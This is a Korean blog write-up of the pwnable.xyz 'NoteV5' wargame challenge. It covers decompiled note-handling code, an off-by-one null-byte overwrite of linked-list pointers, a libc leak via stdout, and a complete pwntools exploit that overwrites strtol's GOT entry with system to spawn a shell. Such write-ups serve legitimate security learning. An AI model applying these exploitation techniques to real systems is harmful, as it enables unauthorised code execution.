블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] NoteV5
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] NoteV5

728x90

 

1. 문제


1) mitigation 확인 

RELRO와 PIE가 안걸려있따. 

 

 

2) 문제 확인 

1번 메뉴로 노트 생성, 2번으로 노트 읽기, 3번으로 수정이 가능하다 

 

 

3) 코드 확인 

코드 분석을 통해 생성한 구조체는 다음과 같다 

 

  • main() 함수
    void __cdecl make_note()
    {
      struct notes *v0; // rax
      notes *v1; // rdx
      notes *v2; // rcx
      char *input_byte; // rbx
      int index; // ebp
      int size; // er12
    
      v0 = (struct notes *)malloc(0x40uLL);
      v1 = (notes *)head;
      v2 = (notes *)head;
      if ( head )
      {
        while ( v2->next )
          v2 = v2->next;
        v0->index = (int)((unsigned __int64)v2->index + 1);
        while ( v1->next )
          v1 = v1->next;
        v1->next = v0;
      }
      else
      {
        v0->index = 0LL;
        head = (__int64)v0;
      }
      v0->size = 0x28LL;
      input_byte = v0->note;
      index = 0;
      _printf_chk(1LL, "Input note: ");
      size = *((_QWORD *)input_byte - 2);
      if ( size >= 0 )
      {
        while ( (unsigned int)read(0, input_byte, 1uLL) != -1 && *input_byte != 10 && size != index )
        {
          ++index;
          ++input_byte;
          if ( size < index )
            goto LABEL_16;
        }
        *input_byte = 0;
      }
    LABEL_16:
      _printf_chk(1LL, "\n");
    }

    0x40바이트 크기의 청크를 malloc으로 요청을 한다음, notes의 필드들을 채운다. notes 구조체는 연결리스트로 구성되기 때문에 next 포인터를 확인하여 맨 끝에 note들을 이어붙인다. 

    id 값은 0부터 순차적으로 할당되고, read 함수로 note내용이 들어가는 필드에 read 로 1바이트씩 저장한다. 

     

     

  • edit_note() 함수
    void __cdecl edit_note()
    {
      notes *v0; // rbx
      int i; // ebp
      notes *v2; // r12
      int v3; // ebp
      notes *v4; // rbx
      __int64 size; // rax
      char *new_note; // rbx
      int size_check; // er12
      int index; // ebp
      notes *v9; // [rsp+0h] [rbp-48h]
      unsigned __int64 v10; // [rsp+28h] [rbp-20h]
    
      v10 = __readfsqword(0x28u);
      if ( head )
      {
        _printf_chk(1LL, "Note id: ");
        v0 = (notes *)&v9;
        for ( i = 0; ; ++i )
        {
          v2 = v0;
          if ( (unsigned int)read(0, v0, 1uLL) == -1 )
            break;
          v0 = (notes *)((char *)v0 + 1);
          if ( LOBYTE(v2->size) == 10 || i == 13 )
            break;
        }
        LOBYTE(v2->size) = 0;
        v3 = strtol((const char *)&v9, 0LL, 10);
        _printf_chk(1LL, 4198083LL);
        v4 = (notes *)head;
        while ( v3 != LODWORD(v4->index) )
        {
          v4 = v4->next;
          if ( !v4 )
          {
            puts("ERROR: Note not found.");
            return;
          }
        }
        _printf_chk(1LL, "New note: ");
        size = v4->size;
        new_note = v4->note;
        size_check = size;
        if ( (int)size >= 0 )
        {
          index = 0;
          while ( (unsigned int)read(0, new_note, 1uLL) != -1 && *new_note != 10 && size_check != index )
          {
            ++index;
            ++new_note;
            if ( size_check < index )
              goto LABEL_17;
          }
          *new_note = 0;
        }
    LABEL_17:
        _printf_chk(1LL, 4198083LL);
      }
      else
      {
        puts("ERROR: You need to make a note first.");
      }
    }

    edit_note 함수는 수정하고 싶은 note의 id 값을 입력하고, 연결리스트를 순회하면서 입력한 id 값과, 저장된 id값이 일치하는 노드를 찾고, 찾으면 해당 노드에 들어있는 note 내용을 수정 가능하다. 입력 가능한 크기는 최대 0x28인데, 여기서 한바이트가 0바이트로 덮혀서 next 노드의 포인터의 하위 한바이트를 '\x00' 으로 변경시킬 수 있다. 

 

 

2. 접근방법


off-by-one을 이용해서 문제를 풀면 된다. 

make_note를 하면서 디버깅을 통해 확인을 해보면 

대부분은 next 포인터의 하위 한바이트를 0x00으로 만들면, 이전 노드의 mem 주소를 가리키게 되지만, id=6을 보면, notes의 내용이 가리키는 주소로 변경가능하다. 그렇다면, 6번 노트의 next 포인터를 하위 한바이트를 조져서 0x..200을 가리키게 하자. 

 

그 다음, 해당 영역을 0x28, 0x7 이렇게 8바이트 씩 주고, 다시 edit_note를 호출하여 id 7을 입력하면, 0x..210 부터 데이터를 입력할수 있다. 이를 통해 6번 노트의 next 포인터를 덮을 수 있다. 즉, 다음 노트를 변경가능하다는 소리이다. 

 

여기서 부터는 롸업을 봤다. (free 함수도 없고, top 청크도 덮을수가 없기 때문에, 생각나는건, stdout을 이용한 leak인데, 이것을 어떻게 적용시킬지 도저히 모르겠어서...) 

 

stdout 구조체를 보다보면, +118 쯤에 0x..fff 가 들어가 있고 그다음 0xa000000 요게 들어가 있다. off-by-one을 이용해서 next 청크를 stdout+118 로 위치시킨다음, read_note() 함수를 호출하여 id 값을 0xa000000로 입력하면 그다음 주소를 leak할수 있다. 해당 주소는 libc 안에 들어있는 주소이다. 

 

이제 libc 주소가 leak되었다면, NO PIE이기 때문에 got를 덮으면 된다. 

 

참고로 libc릭을 하기위해 note id =6 에서 off-by-one을 발생시켰는데, 생각해보니, got를 덮으려면 한번더 이용해야함. 따라서 노트를 많이 만들고, off-by-one이 발생되는 뒷쪽 id인 0x16 을 이용해서 libc leak을 하고, 그다음 id =6을 이용해서 got를 덮었음 

 

삽질 1 : exit_got를 덮으려고 했으나 호출된적이 없기 때문에, 덮어도 의미 없음 

삽질 2 : puts, read를 one_gadet으로 덮었으나, 해당 libc에서 사용가능한 3개의 오프셋 다 안됌 

삽질 3 : /bin/sh를 직접 만들어서 줘야하나 싶었는데 strtol을 덮고, 메뉴 입력시 인자주면 됨 

 

따라서 strtol을 system으로 덮고, 메뉴 선택시 "/bin/sh" 입력하면 됨. 

 

 

3. 풀이


 

최종 익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG")

#p=remote("svc.pwnable.xyz",30047)

p=process("./challenge",env={"LD_PRELOAD" : './alpine-libc-2.24.so'})
gdb.attach(p,'code\nb *0x808+$code\n')
e=ELF("./challenge")
libc=ELF("./alpine-libc-2.24.so")
def make_note(note):
	p.sendlineafter("> ","1")
	#pause()
	p.sendlineafter("Input note: ",str(note).encode())

def read_note(id):
        p.sendlineafter("> ","2")
	p.sendlineafter("id: ",str(id))

def edit_note(id,note):
        p.sendlineafter("> ","3")
	p.sendlineafter("id: ",str(id))
	p.sendlineafter("New note: ",str(note))


for i in range(0,40):
	make_note("2")

#sleep(2)

#edit_note(6,"A"*0x38)
#0x6015b8
#pause()
edit_note(0x16,"A"*0x28)
sleep(1)
edit_note(0x16,p64(0x28)+p64(0x17)+p64(0)*3)
edit_note(0x17,p64(0)*3+p64(0x6015b8))
read_note(167772160)
p.recvuntil("note: ")
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x395770
log.info(hex(libc_base))

#gdb.attach(p,'code\nb *0x808+$code\n')

edit_note(6,"A"*0x28)
edit_note(6,p64(0x28)+p64(0x7)+p64(0)*3)

edit_note(0x7,p64(0)*3+p64(0x6014d8-0x20))
gadet=[0x40367,0x403bb,0xd3017]

tmp=libc.symbols['__libc_start_main']
sys=libc.symbols['system']

edit_note((libc_base+tmp)&0xffffffff,p64(0)*2+p64(libc_base+sys))

p.sendlineafter("> ","/bin/sh")
p.interactive()
#0x6015b8

 

 

4. 몰랐던 개념


pwnble.xyz를 드디어 다풀었다. 처음 1번 문제를 풀때는 stripped 된 바이너를 본적도 없고, 아주 ㅈ밥 같은 실력이였는데, 그래도 공부하는 입장에서 문제를 풀다보니 전에 비해 많이 실력이 오른것 같다. 

 

다만 후반을 갈수록 어느순간 공부보다는 문제를 푸는거에 초점이 맞춰졌던거 같다. 롸업을 많이 보면서 풀었다. 그래도 모든걸 다 이해하고 가려고 애썻던게 도움이 많이 됬던것같다. 앞으로는 이제 분석능력을 더 키우는것을 목적으로 CTF도 많이 나가보고 해야할듯  

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] executioner  (0) 2020.12.06
[pwnable.xyz] fspoo  (2) 2020.11.21
[pwnable.xyz] AdultVM3  (0) 2020.06.16
[pwnable.xyz] AdultVM2  (0) 2020.06.16
[pwnable.xyz] AdultVM  (0) 2020.06.15